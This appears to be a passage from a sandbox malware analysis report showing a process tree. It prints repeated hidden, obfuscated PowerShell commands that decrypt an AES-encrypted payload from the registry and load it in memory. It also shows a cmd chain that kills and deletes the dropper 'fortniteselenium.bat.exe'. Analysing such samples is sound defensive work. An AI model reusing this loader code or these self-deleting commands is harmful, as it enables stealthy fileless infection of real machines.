'')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                                    7⤵
                                                                      PID:6112
                                                                    • C:\Windows\$sxr-powershell.exe
                                                                      "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                                      7⤵
                                                                        PID:3608
                                                                      • C:\Windows\$sxr-powershell.exe
                                                                        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                                        7⤵
                                                                          PID:864
                                                                        • C:\Windows\$sxr-powershell.exe
                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                                          7⤵
                                                                            PID:3420
                                                                        • C:\Windows\svchost.com
                                                                          "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat.exe"
                                                                          6⤵
                                                                            PID:5628
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\System32\cmd.exe /C PING localhost -n 8 >NUL & taskkill /F /IM C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat.exe & ATTRIB -h -s C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat.exe & del /f C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat.exe
                                                                              7⤵
                                                                                PID:5056
                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                  PING localhost -n 8
                                                                                  8⤵
                                                                                  • Runs ping.exe
                                                                                  PID:4856
                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                  taskkill /F /IM C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat.exe
                                                                                  8⤵
                                                                                  • Kills process with taskkill
                                                                                  PID:5660
                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                  ATTRIB -h -s C:\Users\Admin\AppData\Local\Temp\a\fortniteselenium.bat.exe
                                                                                  8⤵
                                                                                  • Views/modifies file attributes
                                                                                  PID:5008
                                                                    • C:\Users\Admin\AppData\Local\Temp\a\1.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\a\1.exe"
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      • Suspicious use of SendNotifyMessage
                                                                      PID:5816
                                                                    • C:\Users\Admin\AppData\Local\Temp\a\pef.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\a\pef.exe"
